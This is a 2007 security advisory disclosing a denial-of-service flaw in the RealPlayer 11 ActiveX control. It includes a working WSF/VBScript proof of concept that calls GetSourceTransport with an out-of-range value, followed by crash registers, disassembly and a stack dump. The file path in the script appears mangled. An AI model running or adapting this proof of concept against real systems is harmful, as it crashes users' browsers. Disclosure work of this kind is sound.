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realpdos.txt

Posted on 03 December 2007
Source : packetstormsecurity.org Link

 

+-----------------------------------------------------------------.
Affected : Realplayer 11 ActiveX on Win Vista and Win XP SP2 :
Type : DOS Attack :
Date : 28-11-2007 :
Author : Adonis, Abed :
Link : http://www.safehack.com/Advisory/realpdos.txt :
+-----------------------------------------------------------------.
:

+-------------. :
Brief History :
+---------------`-------------------------------------------------.
GetSourceTransport() fails to handle exceptional conditions, which:
leads to a DoS (Denial of Service) attack. :
:
GetSourceTransport() is found in rmoc3260.dll which is installed :
with RealPlayer 11. :
:
Note: This ActiveX can be loaded by IE or any other browser. :
:
Successful exploitation will lead to a remote crash in IE 6/7. :
:
+-----------. :
The Problem :
+-------------`---------------------------------------------------.
RealPlayer 11 ActiveX DoS Proof-of-Concept :
:
:
-:PoC:- :
1- Copy and past the following code into filepoc.wsf :
2- Run it by double clicking on it :
---------------------------------------------------snip-----------:
<?XML version='1.0' standalone='yes' ?>
<package><job id='DoneInVBS' debug='false' error='true'>
<object classid='clsid:CFCDAA03-8BE4-11CF-B84B-0020AFBBCCFA' id='target' />
<script language='vbscript'>

targetFile = "C:Windowssystem32
moc3260.dll"
prototype = "Function GetSourceTransport ( ByVal nSourceNum As Integer ) As String"
memberName = "GetSourceTransport"
progid = "RealAudioObjects.RealAudio"
argCount = 1

arg1=32767

target.GetSourceTransport arg1

</script></job></package>
---------------------------------------------------snip-----------:

Registers:
--------------------------------------------------
EIP 637F4A02 -> 00000000
EAX 0022EC44 -> 00000000
EBX 663CCB38 -> 663B7400 -> Uni: t;ft;f
ECX 0022EC44 -> 00000000
EDX 01536388 -> 638416B8
EDI 00000000
ESI 00000000
EBP 0022EC68 -> 0022EC78
ESP 0022EC3C -> 00000000

Block Disassembly:
--------------------------------------------------
637F49F2 JE SHORT 637F49F8
637F49F4 MOV ESI,EAX
637F49F6 JMP SHORT 637F49FA
637F49F8 XOR ESI,ESI
637F49FA LEA ECX,[EBP-24]
637F49FD CALL 6381C1F0
637F4A02 MOV EDX,[ESI] <--- CRASH
637F4A04 LEA EAX,[EBP-4]
637F4A07 PUSH EAX
637F4A08 PUSH 638427D8
637F4A0D PUSH ESI
637F4A0E CALL [EDX]
637F4A10 MOV EAX,[EBP+8]
637F4A13 SUB EAX,46
637F4A16 JE 637F4B28

Stack Dump:
--------------------------------------------------
22EC3C 00 00 00 00 F4 EC 22 00 00 00 00 00 F4 EC 22 07 [................]
22EC4C C0 6D 53 01 00 00 00 00 30 ED 22 00 00 00 00 00 [.mS.............]
22EC5C 00 00 00 00 DC 9A 2B 00 00 00 00 00 78 EC 22 00 [................]
22EC6C A8 C7 7F 63 47 00 00 00 FF 7F 00 00 90 EC 22 00 [...cG...........]
22EC7C 8E 48 3B 66 88 63 53 01 47 00 00 00 FF 7F 00 00 [.H.f.cS.G.......]
:
:
Peace to you all:all and Happy New Year full of health and Peace :
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